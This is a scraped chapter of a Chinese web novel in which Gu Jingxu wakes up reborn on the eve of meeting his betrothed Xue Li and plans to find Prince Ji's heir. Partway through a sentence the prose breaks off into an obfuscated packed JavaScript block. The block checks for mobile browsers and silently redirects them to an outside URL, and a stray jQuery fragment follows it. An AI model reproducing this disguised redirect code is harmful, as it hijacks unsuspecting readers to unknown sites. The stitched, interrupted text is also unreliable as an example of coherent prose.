3. 顾景旭的困惑
作品:《夫君再饿我一次》 同一个夜晚。
顾景旭猛然从床榻坐起,冷汗顺着脊梁蜿蜒而下,浸透的寝衣紧贴着肌肤。他怔忡地望着床帷上熟悉的并蒂莲纹,指尖深深掐进锦褥——丝线勾连的触感如此真切。
月色如霜,透过窗子洒向房间,映出一片冷白的光晕。
眼前分明是他在瑜州顾家大宅的房间。
顾景旭下意识地摸了摸自己的头颈——肌肤温热,脉搏跳动有力,没有伤痕,一切都还在——仿佛那场死亡只是一场噩梦。
可他清楚地记得自己赴死的决绝,记得血液凝固时的冰冷,记得灵魂抽离时的虚无。莫非……
“李录、张君!”他哑声唤道,尾音在寂静里发颤。
雕花木门“吱呀”开启,提着羊角灯的少年揉着惺忪睡眼:“公子可是魇着了?”
顾景旭长舒了一口气,哑然失笑,不可置信的看着李录——跟了自己十年的随从,此刻正活生生地站在他面前。
“公子,张君是谁?”李录挠了挠头,满脸疑惑。
顾景旭如梦初醒,声音轻飘飘试探道:“今天是什么日子,我刚做了个噩梦,有些恍惚了……”
“公子,今日是三月十二,明日是去见薛家姑娘的日子,我看公子今日一直兴奋不已,坐立难安,想是太高兴所以做噩梦了?”李录一边说着,一边点亮手中的羊角灯,屋内渐渐明亮了起来。
“薛家姑娘……你是说薛梨?”顾景旭瞪大了双眼,声音里带着一丝颤抖。
“对呀,公子等这天已经等了很久了,在京城时,公子常常提起这女子……”李录絮絮叨叨,语气中带着几分调侃。
顾景旭的心猛地一沉。去见薛梨——难道时间回到了两年前?
记忆如潮水般涌来,将他淹没,两年前的某一天,正是他噩梦的开始……
顾家办着喜事,接亲的队伍正要出发,却见媒婆慌慌张张的进了府。接着,便听闻自己的新娘薛梨已经不见踪影,她与陈停云私奔的流言也已经传开了,宾客们窃窃私语,顾家颜面扫地,母亲气得一病不起,不久便撒手人寰。
顾景旭自责愧疚——当日是自己一意孤行要娶薛梨才导致这个结果。母亲去世后,顾景旭无力面对,便离开了这个伤心之地,去了京城。
也正因为去了京城,顾景旭卷入朝堂之争,与宦官争夺权利、寻找纪王爷世子、高中状元……大事小事,纷至沓来。皇上、纪王爷、大臣们、妻子徐氏……一些面孔,争先恐后。
顾景旭简直头痛欲裂。
直到自己死于非命。时间戛然而止。
“公子,这是怎么了?”李录望着发呆的顾景旭,有些忧心了起来。
“没什么,我只是突然不想去见薛梨了……”顾景旭喃喃自语,声音低得几乎听不见——是否只要不娶薛梨,一切便可以重来?
“那如何可以,老夫人前些日子,已经在福安堂见过薛姑娘了,回来便对她赞不绝口,说她端庄大气、蕙质兰心、心地善良、知书识礼,今日特意嘱咐公子,明日好好与薛姑娘相见,婚期已经定在了……”李录语气中带着几分不解。
“好了,不要说了。”顾景旭还处于震惊纷乱之中。
李录还从未见过自家公子如此焦躁慌乱——他一直是个养尊处优,纯真执着,带着些未经世事的意气风发,潇洒不羁的翩翩君子。此刻,他却如临大敌,进退失据。
“公子,这噩梦想来很可怕吧。”良久,李录才又打破了沉默。
“是啊,十足可怕,”顾景旭陷入回忆,目光游离,“梦里的人,死的死,伤的伤,三千将士,以命相搏,企图打赢一场必输的战争,以期改天换日,为百姓争一个出路,最后,冰天雪地里鲜血横流,百姓争相逃命、妻离子散,纪王爷……”
他忽然停住,心中警惕起来,陷入无措的沉思——难道是自己有机会再来一次?
“怎会做这么奇怪的梦,公子,还是不要胡思乱想了……”李录宽慰道。
顾景旭点点头,道:“你先出去吧,把灯留着。”
窗外梨枝轻叩窗纸,簌簌声惊碎一室死寂。顾景旭呆了好一阵,才赤足踩上冰凉的青砖,春寒顺着脚心窜至天灵。书案上摊开的《策论通鉴》停在“民为贵”一章,朱笔批注的锋芒犹带少年意气。还有这诗文字画——落款均是景和三十六年三月。
顾景旭愣愣的望着自己映在窗纸上的影子。这具躯体尚未被诏狱的烙铁灼伤,指尖也未曾沾染朝堂的血污——果然,老天竟将棋局重置,让他这枚弃子重归棋奁。
按照刚刚李录的说法,明日是三月十三,也就是去见薛梨的日子。
想到这里,顾景旭猛然抬起头,心中涌起一股复杂的情绪——都怪自己坚持要娶薛梨!
一切都怪薛梨!如若不是自己对她用情至深,又怎么会在明知她心有所属的情况下,还执意要娶。如果不是薛梨与陈停云私奔,自己又怎么会害死母亲、避走京城。
真是命运弄人,顾景旭面对眼前的一切,感到不可置信,时间竟然回到了与薛梨相见的前一晚。
也许这是老天爷给出的暗示,让自己重新选择,以免死于非命?
该如何选择?顾景旭陷入沉思。是直接退婚、还是继续迎娶?如果继续迎娶,是否只要确保她新婚前夜逃不出薛家即可——毕竟上一世是薛梨和陈停云伤害自己,这一世必须让他们付出代价……
顾景旭胡思乱想,长叹一声。
对了,纪王爷……记得那时,众人护着纪王爷逃走了,他知道纪王爷一路乔装,到了瑜州去找世子——几乎可以确定世子就在瑜州,也许找到世子,就还有希望……各路藩王、驻京的军队不会因师出无名而摇摆不定。
大狱中的顾景旭受尽折磨,苦苦等待。直至纪王死讯传来——再无翻盘的余地。败局已定。顾景旭早有准备……
纪王是如何死的?世子是否真的在瑜州?顾景旭想到这林林总总,头痛欲裂,跌坐在椅子上。他看着自己在月光下的影子,不敢相信眼前的一切。
是否,只要不再去京城,不参加科举,不卷入朝堂之争,不再以天下苍生己任,自己就能免去受尽折磨、死于非命的命运?
明日又该如何面对薛梨?薛梨……她还好吗?上一世,自己到死都未能再见她一面,本以为,科举之时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345584|167887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能见到她的夫君陈停云,谁知陈停云竟然未到京城。
听闻瑜州、斳州一带灾祸连连,早已民不聊生,薛梨彼时还活着吗?
顾景旭想到自己死前,面对败局,无怨无悔,脑海中唯一想起的却是薛梨——这个背叛他、导致他短短一生悲剧收场的女子。
可这也是自己八岁时,救自己出泥沼,许诺长大以后以身相许的那个女子。
顾景旭一夜无眠,不敢入睡,生怕无法再醒过来。
等到五更天的梆子划破清晨的宁静,顾景旭走出院门,立在廊下看东方泛起鱼肚白。晨雾裹着花香漫过回廊——是梨花香——顾景旭记得,受刑时咬碎的牙混着血沫咽下,恍惚间尝到梨花香,竟然和此时是一样的。
母亲房中的侍女捧着铜盆匆匆而过,盆中热水腾起的热气在料峭春寒里化作白烟。
冰冷之中又带着一些暖意,这感觉如此真实,顾景旭像是终于得以确认似的,悲喜交加,大口呼吸,头上凝出一小团柔软的雾气。
他一手捂紧胸口,站立不稳似的轻轻扶住一棵树。树上窸窸窣窣的抽出了些嫩芽,有些花苞已经跃跃欲试。
——就是这颗梨树。顾景旭几乎要落下泪来。
母亲的呼唤自暖阁传来,带着晨起的沙哑。
迎着光,顾景旭这才直起身子,眼眶湿润,大步迈向母亲所在的房间……
“旭儿仔细着凉。”顾老夫人指尖的金镶玉护甲划过他掌心,与前世临终时抓皱床褥的枯手截然不同。顾景旭忽然跪地,额头抵着母亲膝头锦缎,云纹刺得眼眶生疼。
可今日的怪事还不止这些——船上发生的一切,都超出了顾景旭的预期,莫非……
回到顾府,顾景旭依然未能厘清头绪。待浑浑噩噩和母亲说完与薛梨相见之事,顾老夫人频频点头,道:“那就按原定计划推进婚事吧。你回来也两月有余了,终身大事定了下来,距离下次科举考试已经只剩不到两年了,府上请的夫子,明日就要上门了。”
顾景旭如梦初醒,道:“母亲,我不要夫子上门,州学的魏老夫子学识渊博,瑜州出过两个状元,都是由魏老夫子教授,我想去州学学习!”
“你这孩子,前些日子才说州学人多杂乱,让府上物色夫子,怎么一时一个样……”
老夫人虽然不解,但也只能由他去了。
顾景旭这才回了自己的房间。去州学自然不是因为魏老夫子。他没有忘记上一世的关键任务——寻找纪王爷世子。
纪王妃李氏出生于书香门第,不可能不让自己的儿子读书考学。按照年龄算,世子只比自己大半岁,若真在瑜州,可能就在州学学子之中。
顾景旭虽打定主意不再卷入朝堂之争,但上一世,纪王爷对自己有恩,如若能找到他的儿子,加以保护,也算是报恩了……
一切如梦如幻,纷乱庞杂,顾景旭尚未完全理顺,等到浑身冰冷,却见一轮明月挂在天边,太阳也还没落下去。
太阳和月亮差不多同样的时间挂在天边,顾景旭从来没有见过这样的景象。月亮惨白清冷,太阳臃肿昏黄。不知这样日月同辉的表面背后藏着什么……